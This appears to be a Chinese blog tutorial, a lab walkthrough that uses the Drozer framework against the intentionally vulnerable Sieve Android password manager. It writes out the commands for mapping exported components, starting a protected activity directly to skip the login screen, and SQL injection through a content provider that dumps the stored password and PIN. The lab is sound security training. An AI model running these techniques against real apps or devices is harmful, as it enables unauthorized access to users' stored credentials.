Drozer之android_app分析实战

 

我们的任务分为3个部分:

      1. 基本操作:使用gdb安装drozer客户端、使用drozer连接android模拟器

      2. 熟悉drozer的简单操作:列出所有包名、获取指定包名、获取指定应用的基本信息、确定攻击面

      3. Drozer实战:使用drozer攻击app漏洞

配置实验环境

1.启动android模拟器

      

      点击下面的android虚拟设备

      

      点击启动

      

      进入设备的启动配置选项,点击“launch”

      

      然后关闭虚拟设备管理器

      

      双击start_drozer.bat

      

2.安装drozer 客户端

      查看当前设备

      adb devices

      

      启动drozer客户端

      解锁模拟器(鼠标点击拉到右侧),进入下面界面

      

      打开drozer客户端

      

      查看右下角的按钮,如果是关闭状态,则点击按钮,启动drozer agent

      

      

3.开启端口转发

      adb forward tcp:31415 tcp:31415

      

      使用drozer连接android模拟器

      drozer console connect

      

      连接成功

实验步骤二

任务描述:熟悉drozer的简单操作:列出drozer的所有模块,列出模拟器上安装的所有包名、获取指定包名、获取指定应用的基本信息、确定攻击面

1.列出drozer的所有模块

      List

      

      每个模块后面都有该模块的介绍,使用的时候可以参考

2.列出模拟器上安装的所有包名

      包名是唯一的,只表示apk文件的名称,都是以com.开头

      run app.package.list

      

3.查找包含特定字符串的包名

      run app.package.list –f (string to be searched)

      例如:查找包含example的包名

      run app.package.list -f example

      

4.获取指定应用的基本信息

      run app.package.info -a com.mwr.example.sieve

      

5.确定攻击面

      我们只用一条命令就可用识别出应用的攻击面,Drozer会告诉我们应用是否有暴露的组件,是否可调试等

      run app.package.attacksurface (package name)

      例如:

      run app.package.attacksurface com.mwr.example.sieve

      

实验步骤三

任务描述:测试目标app sieve是否存在漏洞,并通过该SQL注入漏洞获取用户敏感信息

Sieve是一个密码管理小工具,可以存贮多个不同应用的密码,本次实验将对sieve的漏洞进行探测分析

1.查找sieve包名

      run app.package.list -f sieve

      

2.获取目标sieve详细信息

      run app.package.info -a com.mwr.example.sieve

      

3.查看sieve攻击面

      run app.package.attacksurface com.mwr.example.sieve

      

      Exported 表明该组件可以被其他app调用,如果存在恶意app,就会导致用户敏感信息泄露

4.查看有哪些功能可以被其他app调用

      run app.activity.info -a com.mwr.example.sieve

      

      发现有三个功能被调用了,其中MainLoginActivities是用户登录界面。

      可以看到都不需要权限,那么下面我们将进行尝试调用:

      正常开启该app

      

      点击下面按钮

      

      开启app

      

      向左拖动,然后打开应用

      

      正常情况下,如果没有密码是不能查看里面存储的内容的

      

      但是根据之前探测结果,发现该应用的如下信息

      

      我们可以绕过登录验证功能,直接执行查看密码的功能:

      run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList 

      sieve 应用直接转到了密码存储的页面

      

5.查询Content Providers详细信息。

      Content Providers 主要是用来存储和查询数据,更重要的是所有应用程序都可以访问它。这也是程序之间分享数据的唯一方法。Android里面是没有提供共同存储的区域来给所有的包访问。

      由于Content Providers的这一特性,就会造成app敏感信息的泄露

      下面命令可以获取Content Providers详细信息:

      run app.provider.info -a com.mwr.example.sieve

      

      从返回结果可以看出,对sieve的DBContentProvider的访问除了/Keys路径,其他的都不需要权限,而FileBackupProvider的访问都不需要权限,那么我们就可以根据这些信息来获取敏感数据

6.获取如何访问步骤五中的敏感数据的方法

      在步骤5中,我们可以断定DBContentProvider肯定存在某些敏感数据

      但是我们却不知道如何获取。Drozer提供了一个模块,可以帮助我们获取

      这些内容的uris(通过测试发现在模拟器中使用该模块会出现异常,如果实验者想复现可以在本地搭建环境,在真实手机上测试)

      run scanner.provider.finduris -a com.mwr.example.sieve

      -a 指定了应用名称,不加参数会扫描所有安装的app

      

      可以看到我们有三个uri可以访问,考虑步骤5中/Keys需要权限,所以我们可以使用content://com.mwr.example.sieve.DBContentProvider/Passwords/来测试。

7.测试是否存在sql注入漏洞

      由于andorid应用大多使用sqlite数据库存储数据,既然这些数据库使用sql,那么就有可能存在sql注入漏洞。下面我们将通过简单的方法测试是否存在该漏洞。

      run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

      

      可以看到,返回了错误信息,爆出了注入点,我们就可以构造sql从而获取敏感信息。下面是另外一个注入点

      run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

      

      从两个返回结果看,在column和where处都存在注入点

8.利用注入漏洞获取敏感信息

      该步骤有点类似于sqlmap,可以查看都有哪些表,并且可以查询表中的数据,甚至导出数据库到本地进行分析。下面就利用步骤7发现的注入点来进一步渗透

      查询存在哪些表:

      run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

      

      查询表中的数据:

      run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

      

      我们直接获取了该应用的登录密码和pin码

9.自动发现sql注入漏洞的模块(该模块需要实验者自己在实体机上进行测试)

      Drozer提供了自动测试sql注入漏洞的模块,用法如下

      run scanner.provider.injection -a com.mwr.example.sieve

      

      结果跟我们通过步骤6、7、8的结果相同

posted @ 2020-06-08 08:12  vcxvxcv  阅读(592)  评论(0)    收藏  举报